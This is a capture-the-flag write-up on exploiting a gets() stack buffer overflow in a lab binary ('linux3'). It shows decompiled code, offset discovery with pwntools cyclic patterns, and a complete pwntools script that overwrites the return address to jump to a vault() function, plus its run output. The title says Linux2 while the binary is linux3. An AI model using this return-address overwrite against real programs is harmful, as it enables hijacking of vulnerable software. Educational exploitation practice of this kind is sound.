Linux2 CTF Writeup

Challenge Overview

The Linux3 binary presented a vulnerable program where the guard asks for a secret password. The challenge was to exploit the program and gain control of execution flow to access the vault() function, which prints the flag.

Analysis

Using Ghidra, the binary was decompiled and the main logic was found inside the gate() function. The key vulnerability was the use of the unsafe gets() function, allowing the user to overflow the buffer and control the return address.

The program logic was as follows:

- The guard asks: "What's the secret password?"
- User input is stored using gets() into a fixed-size buffer.
- If the buffer is overflowed, it is possible to overwrite the return address and redirect execution.

Key Code Analysis

```
local_18 = local_20 / local_28;

void gate(void) {
    char local_28[32];

    puts("Guard: What's the secret password?");
    gets(local_28);
    puts("Guard: You shall not pass!");
    return;
}
```

- local_28[32] allocates 32 bytes on the stack.
- gets() does not perform bounds checking.
- Overwriting the return address (RIP) is possible after 40 bytes (32 bytes buffer + 8 bytes saved RBP).
- If RIP is overwritten with the address of vault(), the function is called after gate() returns.

Exploitation and Payload Strategy

1. Used cyclic(100) from pwntools to crash the program and find the offset where RIP is overwritten.
2. Loaded the core dump with GDB and confirmed the fault address matched the cyclic pattern.
3. Used cyclic_find() to determine the exact offset: 40 bytes.
4. Found the address of the vault() function using nm: `0000000000400607 T vault`
5. Constructed the payload: `payload = b"A" * 40 + p64(0x400607)`

Result and Solution

```
┌──(kali㉿kali)-[~/Documents/challange_solves]
└─$ /usr/bin/python /home/kali/Documents/challange_solves/3linuxsolve.py
[+] Starting local process './linux3': pid 42597
[*] Switching to interactive mode
Guard: What's the secret password?
Guard: You shall not pass!
HOORAYYYY YOU HAVE THE FLAG
```

By sending the payload with the vault() address in place of the return address, the program returned to vault() instead of exiting normally, printing the flag.

Conclusion and Lessons

This was a classic buffer overflow challenge that reinforced key concepts:

- The dangers of gets() and unchecked input.
- Using tools like Ghidra, pwntools, and GDB to analyze and exploit a binary.
- How control over RIP can be used to redirect execution to hidden functions like vault().

References

 alt text

PWN-TOOLS SCRIPT

```
# find_offset.py
from pwn import *

# payload = cyclic(100, n=8)  # n=8 for 64-bit systems

##############################
######### with gdb ###########
##############################
# io = process('./linux3')
# io.sendline(payload)
# io.wait()  # wait for crash

# address of the instruction pointer found at 0x40069e

##############################
###### with pwn-tools #######
##############################

# io = process('./linux3')
# io.sendline(cyclic(100, n=8))
# io.wait()

# core = io.corefile
```

```
##############################
###### finding offset #######
##############################

# offset = cyclic_find(core.fault_addr, n=8)

# print(f"[+] Offset to RIP: {offset}")

##############################
###### Buffer-Overflow ###### WITH BBBBBBBB TO TEST OFFSET
##############################

# offset = 40

# payload = b"A" * offset
# payload += b"B" * 8  # RIP offset

# io = process('./linux3')
# io.sendline(payload)
# io.wait()

# core = io.corefile
# stack = core.rsp

##############################
###### Buffer-Overflow ###### WITH VAULT ADDRESS
##############################

offset = 40

# in linux vm: nm -C ./linux3 | grep vault
vault_address = 0x400607

payload = b"A" * offset
payload += p64(vault_address)

io = process('./linux3')
io.sendline(payload)
io.interactive()
io.close()
```